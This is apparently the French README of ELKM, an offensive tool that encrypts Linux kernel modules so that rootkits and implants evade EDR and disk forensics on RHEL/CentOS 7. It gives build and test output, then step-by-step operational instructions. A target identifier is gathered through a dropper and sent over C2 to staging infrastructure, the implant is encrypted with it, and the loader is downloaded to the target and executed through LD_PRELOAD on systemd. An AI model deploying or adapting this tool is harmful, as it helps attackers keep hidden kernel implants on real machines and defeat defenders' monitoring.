
encrypted-linux-kernel-modules
ELKM fournit un mécanisme pour transporter et charger en toute sécurité des modules noyau chargeables (LKM) chiffrés. L'objectif est de protéger les rootkits et implants basés sur le noyau contre l'observation par les logiciels de détection et de réponse aux extrémités (EDR) et de neutraliser les effets de la récupération par les outils de forensique disque.
ELKM a été spécifiquement écrit pour RHEL/CentOS 7 x86-64.
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y
Le script de test effectue 4 tests :
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
CLEAN /home/test/encrypted-kernel-modules/.tmp_versions
CLEAN /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
CC [M] /home/test/encrypted-kernel-modules/kernel-module.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/test/encrypted-kernel-modules/kernel-module.mod.o
LD [M] /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'
stage 2: executing './loader.so':
module loaded: YES
unloading
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'
stage 2: executing './loader.so':
module loaded: YES
unloading
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'
stage 2: executing './loader.so':
module loaded: YES
unloading
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
Sur le système cible :
cat /sys/class/dmi/id/product_uuid
Remarque : cela doit être fait de manière automatisée, par exemple via un dropper. Transmettez le product_uuid à l'infrastructure de staging via le C2.
Sur l'infrastructure de staging :
./payloadfuser ./implant.ko ./loader.so $uuid
Sur le système cible, téléchargez le loader depuis l'infrastructure de staging et exécutez-le via un exécutable de confiance :
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
Sur le système cible :
curl http://169.254.169.254/latest/meta-data/instance-id
Remarque : cela doit être fait de manière automatisée, par exemple via un dropper. Transmettez l'ID d'instance à l'infrastructure de staging via le C2.
Sur l'infrastructure de staging :
./payloadfuser ./implant.ko ./loader.so $instanceid
Sur le système cible, téléchargez le loader depuis l'infrastructure de staging et exécutez-le via un exécutable de confiance :
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
Sur l'infrastructure de staging :
./payloadfuser ./implant.ko ./loader.so PASSWORD
Sur le système cible, via l'environnement :
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#
Ou via stdin :
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#
Quelques conseils si vous souhaitez déployer ELKM en conditions opérationnelles :
Nous avons choisi de ne pas implémenter ces fonctionnalités pour éviter le fingerprinting.